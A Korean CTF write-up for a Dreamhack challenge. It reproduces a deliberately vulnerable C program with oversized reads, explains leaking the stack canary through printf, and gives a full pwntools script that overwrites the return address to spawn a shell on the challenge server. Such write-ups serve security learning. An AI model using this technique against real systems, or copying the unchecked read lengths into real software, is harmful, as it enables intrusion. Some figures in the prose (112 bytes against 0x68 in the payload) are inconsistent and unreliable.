canary가 있다.
// Name: chall.c
// Compile: gcc -Wall -no-pie chall.c -o chall ; strip chall
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
struct person_t {
char nationality[32];
char name[56];
double height;
int age;
char male_or_female[4];
};
void get_shell() {
execve("/bin/sh", 0, 0);
}
void read_input(char *ptr, size_t len) {
ssize_t readn;
readn = read(0, ptr, len);
if (readn < 1) {
puts("read() error");
exit(1);
}
if (ptr[readn - 1] == '\n') {
ptr[readn - 1] = '\0';
}
}
int main() {
struct person_t person;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
printf("Enter name: ");
read_input(person.name, 56);
printf("Enter age: ");
scanf("%d", &person.age);
printf("Enter height: ");
scanf("%lf", &person.height);
printf("Enter M (Male) or F (Female): ");
read_input(person.male_or_female, 5);
printf("Hi %s.\n", person.name);
printf("What's your nationality? ");
read_input(person.nationality, 128);
return 0;
}
main 함수에서는 구조체 객체 person에 name, age, height, male_or_female, nationality를 차례로 넣고 있다.
이때 male_or_female은 4바이트이지만 5를 넣고 있고, nationality도 32바이트이지만 128바이트를 넣고 있다.
제대로 스택 구조를 보기 위해 IDA로 확인해보았다.
|nationality(32)|name(56)|height(8)|age(4)|male_or_female(4)|canary(8)|SFP(8)|RET(8)|
위와 같은 스택 구조임을 유추할 수 있다.
128바이트를 딱 받으므로, RET까지 덮을 수 있는 BOF 취약점이 발생한다.
그러나. canary가 있기 때문에 그냥 덮으면 오류가 발생할 것이다.
그래서 canary를 구할 방법을 찾아야 한다.
printf로 입력을 출력하는 부분이 있다. 하지만 name은 56바이트밖에 입력받지 않는다..
다시 살펴보면 %s로 출력한다. 즉, 56바이트 뒤에 null 문자가 없이 연속적으로 이어진 문자가 있다면, v5만 출력되는 것이 아니라 name 뒤의 height, age, male_or_female을 포함하여 그 뒤에 canary까지 출력할 수 있을 것이다.
예상대로 M(0x4d) 뒤의 canary 8바이트가 출력된다. canary의 하위는 항상 \x00으로 끝나므로, 7바이트를 받고 \x00을 붙여주면 위와 같이 canary 값을 제대로 구할 수 있다.
이후 nationality에 128바이트를 입력받을 때 112바이트+canary+8바이트+RET 덮을 주소를 주면 된다.
PIE가 없기 때문에, 쉘을 실행하는 get_shell 함수의 주소 0x401216을 주면 된다.
그럼 return address에 적힌 get_shell 함수를 실행하여 쉘을 얻을 수 있다.
from pwn import *
import struct
context.log_level='debug'
p=remote('host3.dreamhack.games',18173)
get_shell=0x401216
p.sendafter(b'Enter name: ', b'A'*56)
p.sendlineafter(b'Enter age: ', b'2147483647')
p.sendlineafter(b'Enter height: ', b'1.3')
p.sendafter(b'Enter M (Male) or F (Female): ', b'M'*5)
p.recvuntil(b'MMMMM')
canary=u64(b'\x00'+p.recv(7))
log.success(f'canary: {hex(canary)}')
p.recvuntil(b'.\n')
payload2=b'A'*0x68 + p64(canary) + b'B'*0x8 + p64(get_shell)
p.sendafter(b'What\'s your nationality? ',payload2) # n(32) 128
p.interactive()
[Dreamhack] Firmware Extraction Practice (1) | 2024.03.05 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2024.03.03 |
[Dreamhack] Return Address Overwrite (0) | 2024.03.01 |
[Dreamhack] off_by_one_001 (0) | 2024.02.19 |
[Dreamhack] bof (0) | 2024.02.16 |